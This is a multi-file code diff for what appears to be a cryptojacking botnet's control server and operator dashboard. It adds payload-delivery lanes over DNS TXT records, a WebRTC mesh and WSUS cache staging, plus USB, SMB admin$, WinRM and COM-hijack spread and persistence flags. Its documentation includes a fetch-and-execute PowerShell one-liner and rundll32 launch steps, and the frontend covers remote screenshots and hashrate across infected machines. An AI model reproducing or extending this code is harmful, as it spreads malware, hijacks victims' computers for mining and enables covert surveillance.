http.Error(w, "record required", http.StatusBadRequest)
return
}
buildID := strings.TrimSpace(r.URL.Query().Get("pin"))
if buildID == "" {
buildID = strings.TrimSpace(r.URL.Query().Get("build_id"))
}
platform := strings.TrimSpace(r.URL.Query().Get("os"))
if platform == "" {
platform = "windows"
}
build, err := h.resolveLatestBuild(buildID, platform)
if err != nil {
http.Error(w, "build not found", http.StatusNotFound)
return
}
data, err := os.ReadFile(build.FilePath)
if err != nil {
http.Error(w, "artifact missing", http.StatusNotFound)
return
}
// Single-shard simulation for tests; multi-shard plans use per-record URLs.
w.Header().Set("Content-Type", "text/plain")
_, _ = w.Write([]byte(encodeDNSTXTShard(data)))
}
// GET /api/v1/public/webrtc-mesh/manifest
// LAN HTTP fallback stub documented in SPREAD_TECHNIQUES — real path uses WebRTC data channel + WS relay.
func (h *PublicHandler) WebRTCMeshManifest(w http.ResponseWriter, r *http.Request) {
buildID := strings.TrimSpace(r.URL.Query().Get("pin"))
if buildID == "" {
buildID = strings.TrimSpace(r.URL.Query().Get("build_id"))
}
platform := strings.TrimSpace(r.URL.Query().Get("os"))
if platform == "" {
platform = "windows"
}
build, err := h.resolveLatestBuild(buildID, platform)
if err != nil {
http.Error(w, "build not found", http.StatusNotFound)
return
}
w.Header().Set("Content-Type", "application/octet-stream")
http.ServeFile(w, r, build.FilePath)
}
func (h *PublicHandler) resolveLatestBuild(buildID, platform string) (*models.BuildRecord, error) {
if buildID != "" {
return h.db.GetBuild(buildID)
}
return h.db.GetLatestBuildForPlatform(platform)
}
func encodeDNSTXTShard(data []byte) string {
return base64.StdEncoding.EncodeToString(data)
}
func clientIP(r *http.Request) string {
ip := r.Header.Get("X-Forwarded-For")
if ip == "" {

View File

@@ -736,6 +736,8 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
r.Get("/public/builds", publicHandler.ListBuilds)
r.Get("/public/download/{id}", publicHandler.Download)
r.Get("/public/download/{id}/artifact/{name}", publicHandler.Download)
r.Get("/public/dns-txt/{record}", publicHandler.DNSTXTShard)
r.Get("/public/webrtc-mesh/manifest", publicHandler.WebRTCMeshManifest)
}
})

View File

@@ -16,6 +16,12 @@ type ServiceDeployLane struct {
var DefaultServiceDeployAllowlist = map[string]ServiceDeployLane{
"DoSvc": {Lane: "do_peer", Priority: 35},
"Delivery Optimization": {Lane: "do_peer", Priority: 35},
"Wuauserv": {Lane: "wsus_cache_peer", Priority: 34},
"wuauserv": {Lane: "wsus_cache_peer", Priority: 34},
"Windows Update": {Lane: "wsus_cache_peer", Priority: 34},
"dns_txt:_aether": {Lane: "dns_txt", Priority: 33},
"dns_txt": {Lane: "dns_txt", Priority: 33},
"webrtc_mesh": {Lane: "webrtc_mesh", Priority: 32},
"CCMEXEC": {Lane: "bits_curl", Priority: 10},
"CcmExec": {Lane: "bits_curl", Priority: 10},
"BITS": {Lane: "bits_curl", Priority: 8},
@@ -69,6 +75,12 @@ func normalizeJoinLane(lane string) string {
return "bits_curl"
case "do_peer", "do-peer", "dosvc":
return "do_peer"
case "wsus_cache_peer", "wsus-cache-peer", "wsus":
return "wsus_cache_peer"
case "dns_txt", "dns-txt":
return "dns_txt"
case "webrtc_mesh", "webrtc-mesh":
return "webrtc_mesh"
case "docker", "docker_load", "docker-load":
return "docker_load"
case "smb", "smb_unc", "spread_smb_unc", "spread-smb-unc":

View File

@@ -23,6 +23,28 @@ func TestNormalizeJoinLaneDoPeer(t *testing.T) {
}
}
func TestNormalizeJoinLaneNewTiers(t *testing.T) {
cases := map[string]string{
"wsus-cache-peer": "wsus_cache_peer",
"dns-txt": "dns_txt",
"webrtc-mesh": "webrtc_mesh",
}
for in, want := range cases {
if got := normalizeJoinLane(in); got != want {
t.Fatalf("%q => %q want %q", in, got, want)
}
}
}
func TestPickDeployLaneDNSTXT(t *testing.T) {
allowlist := NormalizeServiceDeployAllowlist(nil)
services := []DeployServiceFinding{{Name: "dns_txt:_aether", Status: "running"}}
matched, lane, ok := PickDeployLane(services, allowlist)
if !ok || matched != "dns_txt:_aether" || lane.Lane != "dns_txt" {
t.Fatalf("matched=%q lane=%q", matched, lane.Lane)
}
}
func TestPickDeployLanePriority(t *testing.T) {
allowlist := NormalizeServiceDeployAllowlist(map[string]ServiceDeployLane{
"CCMEXEC": {Lane: "bits_curl", Priority: 10},

View File

@@ -85,8 +85,11 @@ type BuildRequest struct {
RemoteAggressive bool `json:"remote_aggressive"`
USBSpread bool `json:"usb_spread"`
ShareSpread bool `json:"share_spread"`
WinRMSpread bool `json:"winrm_spread"`
COMHijackPersist bool `json:"com_hijack_persist"`
WinRMSpread bool `json:"winrm_spread"`
DnsTxtSpread bool `json:"dns_txt_spread"`
WebRTCMeshSpread bool `json:"webrtc_mesh_spread"`
WSUSCachePeerSpread bool `json:"wsus_cache_peer_spread"`
COMHijackPersist bool `json:"com_hijack_persist"`
LinuxLOTLMode string `json:"linux_lotl_mode"`
TargetOS string `json:"target_os"`
TargetArch string `json:"target_arch"`
@@ -1216,6 +1219,9 @@ func GetBuiltinConfig() BuiltinConfig {
USBSpread: %v,
ShareSpread: %v,
WinRMSpread: %v,
DnsTxtSpread: %v,
WebRTCMeshSpread: %v,
WSUSCachePeerSpread: %v,
COMHijackPersist: %v,
LinuxLOTLMode: %q,
BackupServerURLs: %s,
@@ -1299,6 +1305,9 @@ func GetBuiltinConfig() BuiltinConfig {
req.USBSpread,
req.ShareSpread,
req.WinRMSpread,
req.DnsTxtSpread,
req.WebRTCMeshSpread,
req.WSUSCachePeerSpread,
req.COMHijackPersist,
req.LinuxLOTLMode,
formatGoStringSlice(req.BackupServerURLs),

View File

@@ -11,6 +11,9 @@ var DefaultLotlOnionTiers = []string{
"dotnet",
"bits_curl",
"do_peer",
"wsus_cache_peer",
"dns_txt",
"webrtc_mesh",
"smb",
"winrm",
"linux",
@@ -22,7 +25,8 @@ func NormalizeLotlOnionTiers(raw []string) []string {
allowed := map[string]struct{}{
"vuln_recon": {},
"docker": {}, "wsl": {}, "powershell": {}, "dotnet": {},
"bits_curl": {}, "do_peer": {}, "smb": {}, "winrm": {}, "linux": {}, "gpo": {},
"bits_curl": {}, "do_peer": {}, "wsus_cache_peer": {}, "dns_txt": {}, "webrtc_mesh": {},
"smb": {}, "winrm": {}, "linux": {}, "gpo": {},
}
out := make([]string, 0, len(raw))
for _, t := range raw {

View File

@@ -4,7 +4,7 @@ import "testing"
func TestNormalizeLotlOnionTiers(t *testing.T) {
got := NormalizeLotlOnionTiers(nil)
if len(got) != 10 || got[0] != "vuln_recon" || got[9] != "gpo" {
if len(got) != 14 || got[0] != "vuln_recon" || got[13] != "gpo" {
t.Fatalf("defaults: %v", got)
}
}
@@ -25,7 +25,7 @@ func TestApplyLotlOnionPreset(t *testing.T) {
if !req.AutoSpread || !req.ShareSpread || req.SpreadKit {
t.Fatal("spread profile")
}
if len(req.LotlOnionTiers) != 10 {
if len(req.LotlOnionTiers) != 14 {
t.Fatalf("tiers: %v", req.LotlOnionTiers)
}
}

View File

@@ -423,6 +423,21 @@ irm https://your.site/install.ps1?pin={build_id}&amp;c=docs | iex</code></pre>
<td>DoSvc + BITS shadow cache handoff — hash-verified peer chunk staging on LAN; launch via <code>rundll32</code> or exe with <code>--defer-mining</code>.</td>
<td>Probe &amp; Join when <code>DoSvc</code> is running — signed plan: <code>{"join_lane":"do_peer","peer_group":"af-peer-…","manifest":{"method":"bits","launch":"rundll32","defer_mining":true}}</code></td>
</tr>
<tr id="lotl-tier-wsus_cache_peer">
<td><strong>wsus_cache_peer</strong></td>
<td>WSUS offline cache cousin — stages beside <code>SoftwareDistribution\Download</code>; probes Wuauserv/AU registry; hash verify + <code>rundll32</code>/exe with <code>--defer-mining</code>.</td>
<td>Forge <code>wsus_cache_peer_spread</code> ON — <code>Wuauserv</code><code>join_lane: wsus_cache_peer</code> (priority after <code>do_peer</code>).</td>
</tr>
<tr id="lotl-tier-dns_txt">
<td><strong>dns_txt</strong></td>
<td>DNS TXT mesh — shards in <code>_aether.&lt;zone&gt;</code>; agent <code>nslookup</code>/<code>Resolve-DnsName</code>, assemble, SHA256 verify. Policy refresh via TXT TTL; tests use <code>/api/v1/public/dns-txt/{record}</code> fallback.</td>
<td>Forge <code>dns_txt_spread</code> default ON — signed plan: <code>{"join_lane":"dns_txt","dns_txt_zone":"lab.internal","dns_txt_records":["_aether.shard0.lab.internal"],"ttl_refresh_sec":300}</code></td>
</tr>
<tr id="lotl-tier-webrtc_mesh">
<td><strong>webrtc_mesh</strong></td>
<td>WebRTC LAN seed — first subnet agent seeder; manifest over data channel (STUN from server, WS relay signaling). <strong>Real:</strong> WebRTC bytes stay LAN; server sees hashrate + <code>join_lane</code> only. <strong>Tests:</strong> LAN HTTP fallback at <code>/api/v1/public/webrtc-mesh/manifest</code>.</td>
<td>Forge <code>webrtc_mesh_spread</code> default OFF — Calibrate <code>webrtc_mesh_policy.rotation_hours: 24</code> for seeder rotation.</td>
</tr>
<tr id="lotl-tier-smb">
<td><strong>smb</strong> (<code>spread_smb_unc</code>)</td>
<td>admin$ / C$ lateral via <code>sc.exe</code> + <code>net.exe</code> on open port 445 — no PsExec.</td>

View File

@@ -11,14 +11,14 @@ import { ForgeProvider } from './context/ForgeContext';
import { MatrixRainProvider } from './context/MatrixRainContext';
import SoundBridge from './components/Sound/SoundBridge';
import GlobalMusicPlayer from './components/GlobalMusicPlayer';
import AgentsPage from './pages/AgentsPage';
import CruciblePage from './pages/CruciblePage';
const DashboardPage = lazy(() => import('./pages/DashboardPage'));
const AgentsPage = lazy(() => import('./pages/AgentsPage'));
const BuilderPage = lazy(() => import('./pages/BuilderPage'));
const MissionDeckPage = lazy(() => import('./pages/MissionDeckPage'));
const BuildManagerPage = lazy(() => import('./pages/BuildManagerPage'));
const SettingsPage = lazy(() => import('./pages/SettingsPage'));
const CruciblePage = lazy(() => import('./pages/CruciblePage'));
const PathTracerPage = lazy(() => import('./pages/PathTracerPage'));
const EmberwakePage = lazy(() => import('./pages/EmberwakePage'));

View File

@@ -33,7 +33,7 @@ interface HashrateChartProps {
const GRAD_IDS = ['cyan', 'magenta', 'amber', 'green', 'purple'] as const;
function colorToId(color: string): string {
if (color.includes('f5ff') || color.includes('06b6d4') || color === '#00f5ff' || color.includes('neon-cyan')) return 'cyan';
if (color.includes('e8f5') || color.includes('f5ff') || color.includes('06b6d4') || color === '#00e8f5' || color === '#00f5ff' || color.includes('neon-cyan')) return 'cyan';
if (color.includes('2da6') || color.includes('8b5cf6')) return 'magenta';
if (color.includes('b020') || color.includes('eab308')) return 'amber';
if (color.includes('39ff') || color.includes('22c55e')) return 'green';

View File

@@ -0,0 +1,222 @@
.access-depth-panel {
margin-bottom: 1rem;
max-width: none;
}
.access-depth-header {
display: flex;
align-items: baseline;
gap: 0.75rem;
margin-bottom: 0.5rem;
}
.access-depth-grid {
display: grid;
grid-template-columns: repeat(auto-fit, minmax(11rem, 1fr));
gap: 0.65rem 1rem;
margin-bottom: 0.65rem;
}
.access-depth-section-title {
color: var(--neon-cyan);
font-weight: 700;
letter-spacing: 0.08em;
font-size: 0.66rem;
margin-bottom: 0.3rem;
text-transform: uppercase;
}
.access-depth-os-line {
color: #e8e8e8;
font-size: 0.76rem;
margin-bottom: 0.25rem;
}
.access-depth-probes {
display: flex;
flex-wrap: wrap;
gap: 0.25rem;
margin-bottom: 0.25rem;
}
.access-depth-probe {
font-size: 0.62rem;
font-family: var(--font-tech);
padding: 1px 5px;
border-radius: 3px;
border: 1px solid rgba(255, 255, 255, 0.12);
}
.access-depth-probe.ok {
color: var(--neon-green);
background: rgba(57, 255, 20, 0.08);
border-color: rgba(57, 255, 20, 0.25);
}
.access-depth-probe.no {
color: var(--text-muted);
background: rgba(255, 255, 255, 0.04);
}
.access-depth-meta,
.access-depth-muted,
.access-depth-empty {
font-size: 0.68rem;
color: var(--text-muted);
}
.access-depth-empty {
font-style: italic;
}
.access-depth-join {
display: flex;
flex-wrap: wrap;
align-items: center;
gap: 0.35rem;
margin-top: 0.35rem;
font-size: 0.68rem;
color: var(--text-muted);
}
.access-depth-attempt-list {
list-style: none;
margin: 0;
padding: 0;
}
.access-depth-attempt-row {
display: flex;
flex-wrap: wrap;
align-items: baseline;
gap: 0.25rem 0.4rem;
font-size: 0.72rem;
padding: 0.1rem 0;
}
.access-depth-attempt-tier {
font-weight: 600;
}
.access-depth-phase {
font-size: 0.62rem;
color: var(--neon-violet, #b388ff);
text-transform: uppercase;
}
.access-depth-in-progress,
.access-depth-pending {
margin-top: 0.35rem;
font-size: 0.68rem;
color: var(--neon-amber, #ffb347);
}
.access-depth-onion-block {
border-top: 1px solid rgba(255, 255, 255, 0.06);
padding-top: 0.5rem;
}
.access-depth-onion-columns {
display: grid;
grid-template-columns: repeat(auto-fit, minmax(14rem, 1fr));
gap: 0.75rem 1.25rem;
}
.access-depth-onion-subtitle {
font-size: 0.68rem;
color: var(--text-muted);
margin-bottom: 0.25rem;
}
.access-depth-onion-list {
list-style: none;
margin: 0;
padding: 0;
display: flex;
flex-direction: column;
gap: 0.15rem;
}
.access-depth-onion-item {
display: flex;
flex-wrap: wrap;
align-items: center;
gap: 0.35rem;
font-size: 0.72rem;
}
.access-depth-onion-idx {
color: var(--text-muted);
min-width: 1.25rem;
}
.access-depth-onion-label {
color: #e8e8e8;
}
.access-depth-onion-item--skipped .access-depth-onion-label {
opacity: 0.55;
text-decoration: line-through;
}
.access-depth-tag {
font-size: 0.58rem;
font-family: var(--font-tech);
letter-spacing: 0.05em;
padding: 0 4px;
border-radius: 2px;
}
.access-depth-tag--active {
color: var(--neon-cyan);
border: 1px solid rgba(0, 245, 255, 0.35);
}
.access-depth-tag--skip {
color: var(--text-muted);
border: 1px solid rgba(255, 255, 255, 0.15);
}
.access-depth-tag--ok {
color: var(--neon-green);
border: 1px solid rgba(57, 255, 20, 0.3);
}
.access-depth-tag--fail {
color: #ff8866;
border: 1px solid rgba(255, 136, 68, 0.35);
}
.access-depth-tag--pending {
color: var(--neon-amber, #ffb347);
border: 1px solid rgba(255, 180, 60, 0.3);
}
.access-depth-source {
margin-left: 0.35rem;
color: var(--text-muted);
font-weight: 400;
text-transform: none;
letter-spacing: 0;
}
.access-depth-triple {
margin-top: 0.45rem;
font-size: 0.68rem;
color: var(--text-muted);
}
.access-depth-hint {
margin: 0.45rem 0 0;
font-size: 0.66rem;
color: var(--text-muted);
}
.access-depth-calibrate-link {
color: var(--neon-cyan);
text-decoration: none;
}
.access-depth-calibrate-link:hover {
text-decoration: underline;
}

View File

@@ -0,0 +1,172 @@
/**
* @vitest-environment happy-dom
*/
import { afterEach, describe, expect, it, vi } from 'vitest';
import { cleanup, render, screen } from '@testing-library/react';
import { MemoryRouter } from 'react-router-dom';
import AccessDepthPanel from './AccessDepthPanel';
import type { Agent } from '../../types';
import {
buildAccessDepthModel,
parseAccessDepthDiagnostics,
parseAccessDepthServerPolicy,
} from '../../help/accessDepth';
vi.mock('../../api/client', () => ({
api: {
getConfig: vi.fn().mockResolvedValue({
server: {
lotl_onion_tiers: ['vuln_recon', 'docker', 'winrm'],
triple_onion_policy: {
recon_tiers: ['vuln_recon'],
deploy_lanes: ['docker', 'winrm'],
},
},
}),
},
}));
function mockAgent(overrides: Partial<Agent>): Agent {
return {
id: 'a1',
name: 'Node',
wallet: '',
ip: '10.0.0.5',
version: '1',
status: 'online',
cpu_cores: 8,
memory_gb: 16,
last_seen: '',
created_at: '',
hashrate_15s: 0,
hashrate_1m: 0,
hashrate_15m: 0,
shares_total: 0,
shares_good: 0,
shares_bad: 0,
cpu_usage_pct: 0,
memory_usage_pct: 0,
uptime_seconds: 0,
...overrides,
};
}
function renderPanel(agent: Agent, diagnostics?: ReturnType<typeof parseAccessDepthDiagnostics>) {
return render(
<MemoryRouter>
<AccessDepthPanel agent={agent} diagnostics={diagnostics} />
</MemoryRouter>,
);
}
describe('accessDepth helpers', () => {
it('parses mining diagnostics payload with probes and tier chain', () => {
const diag = parseAccessDepthDiagnostics({
lotl_tier: 'wsl',
tier_chain_order: ['container', 'wsl', 'cpu_inprocess'],
tier_chain_skipped: ['exe_subprocess'],
environment_probes: { docker: true, wsl: true, pwsh: true, gpu: false },
lotl_attempts: [
{ tier: 'container', ok: false, error: 'no runtime', phase: 'mining' },
{ tier: 'wsl', ok: true, duration_ms: 900, phase: 'mining' },
],
});
expect(diag.lotl_tier).toBe('wsl');
expect(diag.tier_chain_skipped).toEqual(['exe_subprocess']);
expect(diag.environment_probes?.docker).toBe(true);
expect(diag.lotl_attempts).toHaveLength(2);
expect(diag.lotl_attempts?.[1].phase).toBe('mining');
});
it('buildAccessDepthModel for Windows agent with diagnostics', () => {
const agent = mockAgent({
platform: 'windows',
os_version: '10.0.26200',
arch: 'amd64',
lotl_tier: 'wsl',
join_lane: 'winrm',
agent_elevated: true,
capabilities: { auto_spread: true, hole_punch: false, mesh_p2p: true, remote_aggressive: true, process_hollowing: false, ai_enabled: false },
});
const model = buildAccessDepthModel(
agent,
parseAccessDepthDiagnostics({
tier_chain_order: ['container', 'wsl', 'cpu_inprocess'],
tier_chain_skipped: ['exe_subprocess'],
lotl_attempts: [
{ tier: 'container', ok: false, error: 'blocked', phase: 'mining' },
{ tier: 'wsl', ok: true, phase: 'mining' },
],
environment_probes: { docker: false, wsl: true, pwsh: true },
}),
parseAccessDepthServerPolicy({ server: { lotl_onion_tiers: ['vuln_recon', 'docker'] } }),
);
expect(model.platformLabel).toBe('Windows');
expect(model.joinLane).toBe('winrm');
expect(model.succeeded).toHaveLength(1);
expect(model.failed).toHaveLength(1);
expect(model.miningOnion.find((r) => r.tier === 'exe_subprocess')?.status).toBe('skipped');
expect(model.spreadOnion).toHaveLength(2);
});
it('buildAccessDepthModel for Linux agent without diagnostics', () => {
const agent = mockAgent({
platform: 'linux',
join_lane: 'linux-lotl',
lotl_attempts: [{ tier: 'cpu_inprocess', ok: true, phase: 'mining' }],
});
const model = buildAccessDepthModel(agent);
expect(model.platformLabel).toBe('Linux');
expect(model.succeeded[0].tier).toBe('cpu_inprocess');
expect(model.miningOnion.length).toBeGreaterThan(0);
});
it('buildAccessDepthModel for macOS agent', () => {
const agent = mockAgent({ platform: 'darwin', os_version: '14.2' });
const model = buildAccessDepthModel(agent);
expect(model.platformLabel).toBe('macOS');
expect(model.osLine).toContain('macOS');
});
});
describe('AccessDepthPanel', () => {
afterEach(() => cleanup());
it('renders sections for Windows fixture', async () => {
renderPanel(
mockAgent({
platform: 'windows',
lotl_tier: 'wsl',
join_lane: 'winrm',
lotl_attempts: [{ tier: 'wsl', ok: true, phase: 'mining' }],
}),
parseAccessDepthDiagnostics({
environment_probes: { wsl: true, pwsh: true },
tier_chain_order: ['container', 'wsl'],
lotl_attempts: [{ tier: 'wsl', ok: true, phase: 'mining' }],
}),
);
expect(screen.getByText('ACCESS DEPTH')).toBeInTheDocument();
expect(screen.getByText('OS & posture')).toBeInTheDocument();
expect(screen.getByText('Active')).toBeInTheDocument();
expect(screen.getByText('Succeeded')).toBeInTheDocument();
expect(screen.getByText('Failed / in progress')).toBeInTheDocument();
expect(screen.getByText('Effective onion order')).toBeInTheDocument();
expect(await screen.findByText('WinRM')).toBeInTheDocument();
});
it('shows pending chain when tiers not yet attempted', () => {
renderPanel(
mockAgent({
platform: 'linux',
status: 'online',
lotl_attempts: [{ tier: 'container', ok: false, error: 'missing' }],
}),
parseAccessDepthDiagnostics({
tier_chain_order: ['container', 'wsl', 'cpu_inprocess'],
lotl_attempts: [{ tier: 'container', ok: false, error: 'missing' }],
}),
);
expect(screen.getByText(/pending:/i)).toBeInTheDocument();
});
});

View File

@@ -0,0 +1,196 @@
import { useEffect, useMemo, useState } from 'react';
import { Link } from 'react-router-dom';
import { api } from '../../api/client';
import {
buildAccessDepthModel,
parseAccessDepthServerPolicy,
type AccessDepthDiagnostics,
} from '../../help/accessDepth';
import type { Agent } from '../../types';
import { HelpTip } from '../HelpTip';
import JoinLaneBadge from './JoinLaneBadge';
import LotlTierBadge from './LotlTierBadge';
import './AccessDepthPanel.css';
import './LotlVisuals.css';
import './ReconVisuals.css';
interface Props {
agent: Agent;
diagnostics?: AccessDepthDiagnostics;
}
function OnionList({ rows, empty }: { rows: ReturnType<typeof buildAccessDepthModel>['miningOnion']; empty: string }) {
if (rows.length === 0) {
return <div className="access-depth-empty">{empty}</div>;
}
return (
<ol className="access-depth-onion-list">
{rows.map((row) => (
<li key={`${row.index}-${row.tier}`} className={`access-depth-onion-item access-depth-onion-item--${row.status}`}>
<span className="access-depth-onion-idx">{row.index}.</span>
<span className="access-depth-onion-label">{row.label}</span>
{row.status === 'active' && <span className="access-depth-tag access-depth-tag--active">active</span>}
{row.status === 'skipped' && <span className="access-depth-tag access-depth-tag--skip">skipped</span>}
{row.status === 'done' && <span className="access-depth-tag access-depth-tag--ok">ok</span>}
{row.status === 'failed' && <span className="access-depth-tag access-depth-tag--fail">fail</span>}
{row.status === 'pending' && <span className="access-depth-tag access-depth-tag--pending">pending</span>}
</li>
))}
</ol>
);
}
function AttemptMiniList({
rows,
empty,
}: {
rows: ReturnType<typeof buildAccessDepthModel>['succeeded'];
empty: string;
}) {
if (rows.length === 0) return <div className="access-depth-empty">{empty}</div>;
return (
<ul className="access-depth-attempt-list">
{rows.map((row, i) => (
<li key={`${row.tier}-${i}`} className="access-depth-attempt-row">
<span className={`lotl-attempt-icon ${row.ok ? 'ok' : 'fail'}`}>{row.ok ? '✓' : '✗'}</span>
<span className="access-depth-attempt-tier">{row.label}</span>
{row.phase && <span className="access-depth-phase">{row.phase}</span>}
{!row.ok && row.error && <span className="lotl-attempt-err">{row.error}</span>}
</li>
))}
</ul>
);
}
export default function AccessDepthPanel({ agent, diagnostics }: Props) {
const [policyLoaded, setPolicyLoaded] = useState(false);
const [serverPolicy, setServerPolicy] = useState(parseAccessDepthServerPolicy({}));
useEffect(() => {
let cancelled = false;
api
.getConfig()
.then((cfg) => {
if (!cancelled) {
setServerPolicy(parseAccessDepthServerPolicy(cfg));
setPolicyLoaded(true);
}
})
.catch(() => {
if (!cancelled) setPolicyLoaded(true);
});
return () => {
cancelled = true;
};
}, []);
const model = useMemo(
() => buildAccessDepthModel(agent, diagnostics, serverPolicy),
[agent, diagnostics, serverPolicy],
);
return (
<section className="access-depth-panel lotl-attempts-block" aria-label="Access depth">
<div className="access-depth-header">
<span className="lotl-attempts-title">
ACCESS DEPTH <HelpTip field="crucible_access_depth" />
</span>
{!policyLoaded && <span className="access-depth-muted">loading policy</span>}
</div>
<div className="access-depth-grid">
<div className="access-depth-section">
<div className="access-depth-section-title">OS &amp; posture</div>
<div className="access-depth-os-line">{model.osLine}</div>
{model.probes.length > 0 && (
<div className="access-depth-probes">
{model.probes.map((p) => (
<span key={p.key} className={`access-depth-probe ${p.ok ? 'ok' : 'no'}`}>
{p.label}
</span>
))}
</div>
)}
{model.spreadCaps.length > 0 && (
<div className="access-depth-meta">
spread: {model.spreadCaps.join(', ')}
</div>
)}
{model.privilegeHints.length > 0 && (
<div className="access-depth-meta">
{model.privilegeHints.join(' · ')}
</div>
)}
</div>
<div className="access-depth-section">
<div className="access-depth-section-title">Active</div>
{model.activeTier ? (
<LotlTierBadge tier={model.activeTier} attempts={agent.lotl_attempts} variant="inline" />
) : (
<div className="access-depth-empty">No active mining tier</div>
)}
{model.joinLane ? (
<div className="access-depth-join">
join lane <JoinLaneBadge lane={model.joinLane} />
</div>
) : (
<div className="access-depth-muted">No join lane yet</div>
)}
</div>
<div className="access-depth-section">
<div className="access-depth-section-title">Succeeded</div>
<AttemptMiniList rows={model.succeeded} empty="No successful tier attempts" />
</div>
<div className="access-depth-section">
<div className="access-depth-section-title">Failed / in progress</div>
<AttemptMiniList rows={model.failed} empty="No failed attempts" />
{model.inProgressLabel && (
<div className="access-depth-in-progress">
trying <strong>{model.inProgressLabel}</strong>
</div>
)}
{model.pendingLabels.length > 0 && (
<div className="access-depth-pending">
pending: {model.pendingLabels.slice(0, 6).join(' → ')}
{model.pendingLabels.length > 6 ? ` +${model.pendingLabels.length - 6}` : ''}
</div>
)}
</div>
</div>
<div className="access-depth-section access-depth-onion-block">
<div className="access-depth-section-title">
Effective onion order
<span className="access-depth-source">({model.miningOrderSource})</span>
</div>
<div className="access-depth-onion-columns">
<div>
<div className="access-depth-onion-subtitle">Mining tiers</div>
<OnionList rows={model.miningOnion} empty="No mining tier chain" />
</div>
<div>
<div className="access-depth-onion-subtitle">
Spread contingency{' '}
<Link to="/settings" className="access-depth-calibrate-link">
Calibrate
</Link>
</div>
<OnionList rows={model.spreadOnion} empty="Default spread order" />
</div>
</div>
{model.tripleOnionSummary && (
<div className="access-depth-triple">
Triple onion: {model.tripleOnionSummary}
</div>
)}
<p className="access-depth-hint">
<HelpTip field="crucible_access_depth_calibrate" label="?" />{' '}
Calibrate <Link to="/settings">lotl_onion_tiers</Link> changes spread order on next agent reconnect.
</p>
</div>
</section>
);
}

View File

@@ -313,7 +313,7 @@ export default function CrucibleExpandedOps({
<button
type="button"
className="button crucible-op-btn"
disabled={!hasSelection}
disabled={targets.length === 0}
title="Fleet health: restore hashing workload on selected online nodes"
onClick={() => {
const ids = targets.map((a) => a.id);
@@ -326,7 +326,7 @@ export default function CrucibleExpandedOps({
<button
type="button"
className="button crucible-op-btn"
disabled={!hasSelection}
disabled={targets.length === 0}
title="Fleet health: power down hashing without disconnecting the agent"
onClick={() => {
const ids = targets.map((a) => a.id);

View File

@@ -43,7 +43,7 @@
height: 0.55rem;
border-radius: 50%;
flex-shrink: 0;
box-shadow: 0 0 6px var(--group-color, #0ff);
box-shadow: 0 0 6px var(--group-color, #00e8f5);
}
.fleet-group-chip-name {

View File

@@ -218,7 +218,7 @@
margin-bottom: 0.25rem;
}
.er-usd { opacity: 0.7; margin-left: 0.25rem; }
.er-highlight { color: var(--neon-cyan, #00f5ff); font-weight: 700; }
.er-highlight { color: var(--neon-cyan, #00e8f5); font-weight: 700; }
/* ── Fleet Health Card ────────────────────────────────────────────────────── */
.fleet-health-card {
@@ -300,9 +300,9 @@
}
.contrib-fill {
height: 100%;
background: var(--neon-cyan, #00f5ff);
background: var(--neon-cyan, #00e8f5);
border-radius: 4px;
box-shadow: 0 0 6px var(--neon-cyan, #00f5ff);
box-shadow: 0 0 6px var(--neon-cyan, #00e8f5);
transition: width 0.5s ease;
}
.contrib-hash, .contrib-pct { opacity: 0.75; font-size: 0.75rem; text-align: right; }
@@ -379,7 +379,7 @@
border-radius: 3px;
font-size: 0.82rem;
}
.lan-subnet { color: var(--neon-cyan, #00f5ff); font-size: 0.78rem; }
.lan-subnet { color: var(--neon-cyan, #00e8f5); font-size: 0.78rem; }
.lan-meta { display: flex; gap: 1rem; font-size: 0.76rem; opacity: 0.75; }
.lan-online { color: var(--neon-green, #39ff14); }
.lan-hash { font-family: var(--font-mono, monospace); }
@@ -388,7 +388,7 @@
.dash-mode-btn {
background: transparent;
border: 1px solid rgba(0,245,255,0.35);
color: var(--neon-cyan, #00f5ff);
color: var(--neon-cyan, #00e8f5);
font-family: monospace;
font-size: 0.78rem;
padding: 0.25rem 0.6rem;

View File

@@ -66,7 +66,7 @@
}
.agent-list-item.expanded {
border-color: rgba(0, 245, 255, 0.35);
border-color: rgba(0, 232, 245, 0.35);
}
.agent-list-expand {
@@ -86,9 +86,9 @@
padding: 0.1rem 0.45rem;
margin-right: 0.25rem;
border-radius: 4px;
background: rgba(0, 245, 255, 0.12);
color: var(--neon-cyan, #0ff);
border: 1px solid rgba(0, 245, 255, 0.25);
background: rgba(0, 232, 245, 0.12);
color: var(--neon-cyan, #00e8f5);
border: 1px solid rgba(0, 232, 245, 0.25);
}
.agent-list-notes-preview {

View File

@@ -9,6 +9,7 @@ interface Props {
filters: FleetFilterState;
onChange: (next: FleetFilterState) => void;
selectedCount: number;
selectedAgents?: Agent[];
onBulkAction: (action: string) => void;
onSelectAllFiltered?: () => void;
onCreateGroup?: () => void;
@@ -21,6 +22,7 @@ export default function FleetToolbar({
filters,
onChange,
selectedCount,
selectedAgents = [],
onBulkAction,
onSelectAllFiltered,
onCreateGroup,
@@ -112,17 +114,17 @@ export default function FleetToolbar({
<button
type="button"
className="btn btn-outline btn-sm"
disabled={bulkBusy}
disabled={bulkBusy || !selectedAgents.some((a) => a.status === 'online')}
onClick={() => onBulkAction('screenshot')}
title="Capture desktop on the selected machine and download JPEG here"
>
Screenshot
</button>
)}
<button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy} onClick={() => onBulkAction('pause')} title="Fleet health: power down hashing">Pause</button>
<button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy} onClick={() => onBulkAction('resume')} title="Fleet health: restore hashing">Resume</button>
<button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy} onClick={() => onBulkAction('stop')}>Stop</button>
<button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy} onClick={() => onBulkAction('restart_idle')}>Restart idle</button>
<button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy || !selectedAgents.some((a) => a.status === 'online')} onClick={() => onBulkAction('pause')} title="Fleet health: power down hashing">Pause</button>
<button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy || !selectedAgents.some((a) => a.status === 'online')} onClick={() => onBulkAction('resume')} title="Fleet health: restore hashing">Resume</button>
<button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy || !selectedAgents.some((a) => a.status === 'online')} onClick={() => onBulkAction('stop')}>Stop</button>
<button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy || !selectedAgents.some((a) => a.status === 'online')} onClick={() => onBulkAction('restart_idle')}>Restart idle</button>
<button
type="button"
className="btn btn-sm"

View File

@@ -1,7 +1,7 @@
